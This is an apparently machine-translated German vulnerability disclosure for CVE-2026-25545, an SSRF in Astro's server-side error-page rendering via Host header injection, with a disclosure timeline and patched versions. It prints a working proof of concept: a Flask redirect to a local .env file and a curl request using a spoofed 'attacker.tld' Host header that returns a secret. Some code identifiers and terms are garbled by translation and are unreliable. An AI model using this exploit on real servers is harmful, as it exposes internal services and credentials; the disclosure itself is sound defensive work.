Astro ist ein JavaScript-Frontend- und Backend-Framework, das von vielen großen Unternehmen verwendet wird, um die Entwicklung von Websites erheblich zu vereinfachen. Vor kurzem hat einer der Agenten in unserem Produkt Aikido eine mittelschwere Schwachstelle in der serverseitigen Implementierung dieses Frameworks identifiziert. Dadurch wurden alle Server, auf die der Angreifer direkt zugreifen konnte, anfällig für Server-Side Request Forgery (SSRF).
Heute bekannt als CVE-2026-25545Wir haben die Entwickler von Astro umgehend benachrichtigt, um innerhalb weniger Tage eine Lösung zu erhalten. Versionen astro@5.17.2, @astrojs/node@9.5.3 sowie die Beta-Version astro@6.0.0-beta.11 sind gepatcht.
Zusammenfassung
Fehler bei der serverseitigen Darstellung (SSR) mit einer vorgerenderten benutzerdefinierten Fehlerseite (z. B. 404.astro oder 500.Astro) sind anfällig für SSRF. Wenn die Gastgeber: Der Header wird auf den Server des Angreifers geändert. /500.html wird von ihrem Server abgerufen und kann an eine beliebige andere interne URL weitergeleitet werden. Diese Weiterleitung wird befolgt, und die Antwort wird an den Angreifer zurückgesendet.
Alle Dienste auf localhost oder im internen Netzwerk, die durch Firewalls und NAT geschützt sind, können auf diese Weise zugänglich werden, was je nach dem, was gehostet wird, verheerende Folgen haben kann.
Details
Der KI-Penetrationstests hat dieses Problem während unserer Untersuchungen entdeckt. Wir werden daher seinen Denkprozess erläutern, während wir die Details dieser Schwachstelle durchgehen.
Astro kann Seiten in zwei Modi rendern: „statisch“ und „Server“. Einfache Websites benötigen möglicherweise keinen Server und können als statische HTML-Dateien exportiert werden, während andere eine serverseitige Logik erfordern. Sie können pro Seite entscheiden, was benötigt wird.
Für die Startseite könnten Sie eine HTML-Datei vorab rendern, die immer gleich bleibt und sich nur ändert, wenn Sie erneut erstellen. Um stattdessen nach Bedarf zu rendern, wie beispielsweise für einen View-Zähler, ist Server-Side Rendering (SSR) erforderlich.
Um SSR zu verwenden, müssen Sie die Option für die Ausgabekonfiguration auf 'Server' in astro.config.mjs:
export default defineConfig({
output: 'server'
})
Ein interessantes Beispiel sind die Fehlerseiten in Astro. Jede Route kann Fehler wie „404 Not Found“ oder „500 Internal Server Error“ zurückgeben, die mit den Standard-Fehlerseiten ansprechend dargestellt werden.
Als Entwickler können Sie eine benutzerdefinierte Fehlerseite mit 404.astro oder 500.AstroAus Gründen der Effizienz werden diese nach Möglichkeit als HTML-Dateien vorgerendert. Interessant ist, dass ein Server nun eine vorgerenderte Antwort zurückgeben muss.
Dies wird auf etwas seltsame Weise umgesetzt: Der Server ruft ab. /404.html oder /500.html von sich selbst und gibt dieses Ergebnis zurück. Sie können dies in Fehler zurückgeben():
1async #renderError(...): Promise<Response> {
2 const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3 const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4 const url = new URL(request.url);
5 if (errorRouteData) {
6 if (errorRouteData.prerender) {
7 const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8 const statusURL = new URL(
9 `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10 url, // base
11 );
12 if (statusURL.toString() !== request.url) {
13 const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14 const override = { status, removeContentEncodingHeaders: true };
15 return this.#mergeResponses(response, originalResponse, override);
16 }
17 }
18 ...
19}
20Die wichtigste Zeile ist vorgerenderteFehlerseiteAbrufen(StatusURL), das ausgeführt wird, wenn eine benutzerdefinierte Fehlerroute vorhanden ist und die Fehlerseite vorgerendert (Zeile 13). In NodeJS ist dies einfach ein Alias für abrufen() wenn options.experimentalErrorPageHost ist nicht festgelegt.Status-URL besteht aus Anfrage-URL (Zeile 4). Diese Eigenschaft stammt aus req.headers.host, auch bekannt als die Gastgeber: Header in HTTP.
static createRequest(...) {
const providedHostname = req.headers.host ?? req.headers[':authority'];
const validated = App.validateForwardedHeaders(
getFirstForwardedValue(req.headers['x-forwarded-proto']),
getFirstForwardedValue(req.headers['x-forwarded-host']),
getFirstForwardedValue(req.headers['x-forwarded-port']),
allowedDomains,
);
const sanitizedProvidedHostname = App.sanitizeHost(
typeof providedHostname === 'string' ? providedHostname : undefined,
);
const hostname = validated.host ?? sanitizedProvidedHostname;
const hostnamePort = getHostnamePort(hostname, port);
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
const request = new Request(url, options);
...
Der Gastgeber: Der Header wird immer vom Benutzer gesteuert, da es sich lediglich um eine beliebige Zeichenfolge handelt, die der Client sendet. Wie Sie in der obigen Logik sehen können, verwendet Astro req.headers.host bauen Anfrage-URL, die dann zur Basis-URL für eine interne abrufen() Aufruf. Astro vertraut darauf, dass der Input auf den Server selbst verweist, ohne ihn tatsächlich zu validieren. Dies ist Host-Header-Injektionund das macht SSRF hier möglich.
GET /not-found HTTP/1.1
Host: attacker.tld
SSRF
Wir sind hierher gekommen, um Server-Side Request Forgery, aber wir sind zu diesem Zeitpunkt nicht weit davon entfernt. Die obige Anfrage löst einen 404-Fehler aus, und wenn eine benutzerdefinierte 404-Seite konfiguriert ist, wird unsere Angreifer.tld Der Host-Header wird verwendet, um eine Anfrage an http://attacker.tld/404.html .
Damit können wir diese bestimmte URL bereits auf jedem internen Host abrufen:
GET /404.html HTTP/1.1
host: attacker.tld
Verbindung: Keep-Alive
akzeptieren: */*
Akzeptierte Sprachen: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate
Es gibt wahrscheinlich nicht viele sensible Inhalte auf /404.html eines beliebigen Hosts. Zum Glück für uns abrufen() folgt automatisch WeiterleitungenEine Tatsache, die wir nutzen können, da wir bereits in der Lage sind, den Astro-Server dazu zu bringen, die Website unseres Angreifers aufzurufen. Wir müssen lediglich umleiten von http://attacker.tld/404.html zu einer sensiblen URL wie http://127.0.0.1:8000/.env!
Wir richten einen einfachen Server ein, um dies zu bewältigen:
from flask import Flask,redirect
app = Flask(__name__)
@app.route("/404.html")
def exploit(): return redirect("http://127.0.0.1:8000/.env")
if __name__ == "__main__":
app.run()
Dann senden wir unsere böswillige Anfrage erneut:
$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plainserver:SimpleHTTP/0.6Python/3.12.3
Connection: keep-alive
Keep-Alive:timeout=5
Transfer-Encoding: chunked
SECRET=...
Erfolg! Die 404-Seite wurde vom Angreifer abgerufen und weitergeleitet zu 127.0.0.1:8000und die Antwort (Header und Body) wurde zurückgesendet. Auf diese Weise konnte ein Angreifer das gesamte interne Netzwerk kartografieren und mit den Diensten interagieren, um potenziell sensible Informationen auszulesen.
Anforderungen
Damit ein Angreifer diese Schwachstelle ausnutzen kann, müssen einige Voraussetzungen erfüllt sein:
- Der Server muss sich im Server-Side-Rendering-Modus befinden (ansonsten handelt es sich nur um statisches HTML).
- Der
Gastgeber:Der Header muss unsanitisiert sein. Einige Proxys validieren diesen Header, daher kann es erforderlich sein, den - Ursprungs-IP des Astro-Servers, um eine direkte Verbindung herzustellen.
- Im Quellcode muss der Entwickler eine benutzerdefinierte
404.astro,404.md, oder500.AstroDatei. Dies ist bei größeren Anwendungen üblich.
Wie gezeigt, ist die Verwendung eines 404-Fehlers durch den Aufruf eines nicht gerouteten Pfads der wahrscheinlichste Ausnutzungsweg. Wenn jedoch eine benutzerdefinierte interne Serverfehlerseite konfiguriert ist, kann das Auslösen eines Fehlers mit einem gefälschten Host: Header ebenfalls die Schwachstelle auf die gleiche Weise auslösen.
Behebung
Nachdem wir die von unserem KI-Agenten gemeldete Schwachstelle gesehen hatten, meldeten wir sie umgehend den Astro-Entwicklern, die innerhalb weniger Tage eine Lösung bereitstellten.
Die gepatchten Versionen beginnen bei:
astro@5.17.2astro@6.0.0-beta.11@astrojs/node@9.5.3
Ihre Lösung war, das zu überdenken vorgerenderteFehlerseiteAbrufen() Funktion, die zuvor ein Wrapper für fetch() war. Jetzt /404 oder /500 Dateien werden direkt von der Festplatte gelesen, und alles andere wird nur abgerufen, wenn options.experimentalErrorPageHost ist explizit festgelegt und gibt an, woher die Daten abgerufen werden sollen. Der Host: Header wird nun ebenfalls validiert, ähnlich wie X-Forwarded-Host: bereits war, um einen Angreifer daran zu hindern, sich einzumischen Anfrage-URL in Astro.
Diese Schwachstelle läuft darauf hinaus, dass Benutzereingaben im Gastgeber: Header, was Sie niemals tun sollten. Magische Funktionen wie die standardmäßige Weiterleitung von
abrufen() kann auch zu unerwarteten Konsequenzen führen. Es ist ratsam, sich durch Lesen der Dokumentation darüber zu informieren, was die von Ihnen aufgerufenen Funktionen genau bewirken.
Der Exploit für diese Schwachstelle ist letztendlich recht einfach und leicht zu testen. Man muss lediglich eine nicht vorhandene Seite mit einer fehlerhaften Gastgeber: Kopfzeile. Solche Angriffe können sogar ohne Quellcode gefunden werden, indem man mit der Anwendung herumspielt, die
Der AI-PentestAikido kann dies leisten. Wie aus diesem Bericht hervorgeht, verfügt er jedoch auch über leistungsstarke Funktionen zur Codeanalyse (Whitebox).
Zeitplan
- 2. Februar 2026: Aikido hat die Schwachstelle identifiziert und einen funktionierenden PoC erstellt.
- 3. Februar 2026: Verantwortungsvolle Offenlegung gegenüber den Astro-Betreuern
- 3. Februar 2026: Bericht von Astro-Betreuern bestätigt und Beginn der Arbeiten an einer Lösung
- 4. Februar 2026: CVE-2026-25545 wird von GitHub erstellt.
- 11. Februar 2026: Der Fix wurde in neuen Versionen von Astro veröffentlicht (
astro@5.17.2,astro@6.0.0-beta.11, und@astrojs/node@9.5.3)

